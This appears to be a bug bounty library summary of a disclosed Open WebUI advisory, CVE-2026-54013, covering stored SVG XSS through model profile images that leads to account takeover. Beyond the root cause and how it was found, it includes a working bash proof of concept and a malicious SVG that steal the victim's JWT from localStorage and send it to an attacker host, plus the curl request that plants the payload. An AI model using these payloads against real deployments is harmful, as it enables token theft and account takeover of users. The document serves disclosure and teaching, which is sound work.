# Open WebUI: Stored XSS to Account Takeover via Model Profile Images

ModelMeta in Open WebUI lacked the SVG validator applied to user/webhook images, letting any user store an SVG data URI served inline without nosniff, executing script to steal JWTs.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: 0xEr3n
- Disclosed: 2026-06-17
- CVE: CVE-2026-54013
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v2qm-5wxj-qhj7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-v2qm-5wxj-qhj7
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:account-takeover vuln:xss

**Target:** Model profile image serving endpoint (GET /api/v1/models/model/profile/image) and model create/update/import APIs
**Root cause:** Incomplete patch: the validate_profile_image_url validator and output-side MIME allowlist/nosniff were added to user and webhook profile image paths but never to ModelMeta or the model image serving endpoint, which streams any data:image/* inline.
**Steps:**
1. Authenticate as any user with default-enabled `workspace.models` permission.
2. Base64-encode an SVG containing `<script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>`.
3. `POST /api/v1/models/create` with body containing `"meta":{"profile_image_url":"data:image/svg+xml;base64,$SVG"}` and `Authorization: Bearer $ATTACKER_TOKEN`.
4. Victim opens `https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview` as a top-level document (right-click open image, or attacker-pasted link).
5. Server returns `content-type: image/svg+xml`, `content-disposition: inline`, no nosniff/CSP; script executes and exfiltrates `localStorage.token`.
**How found:** Reviewed prior SVG XSS advisories (GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc) and their patches, noticed the same profile_image_url field exists on ModelMeta, and checked whether the validator and output defenses were applied there — they were not.
**Exploitation:** Attacker stores malicious SVG in a model's profile_image_url via create/update/import, then lures a victim to load the image URL as a top-level document (frontend <img> context won't execute scripts). SVG renders on the Open WebUI origin, script reads the victim's JWT from localStorage and sends it to an attacker collector; attacker replays the JWT for full account takeover including password change and admin promotion.
**Escalation:** JWT replay grants full API access, enabling password change, admin promotion and data exfiltration.
**Insight:** When a vendor patches a bug class across several models/endpoints, enumerate every other model sharing the same field name and serving code path (grep the field, not the fix) — the fourth endpoint is routinely missed, and output-side defenses like nosniff/MIME allowlist are often added to only one router.

## Proof of concept (copied exactly from the original report)

**Bash PoC script building SVG and storing payload**

```
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"   # attacker-controlled listener

# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
```

**Malicious SVG script stealing localStorage token**

```
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>
```

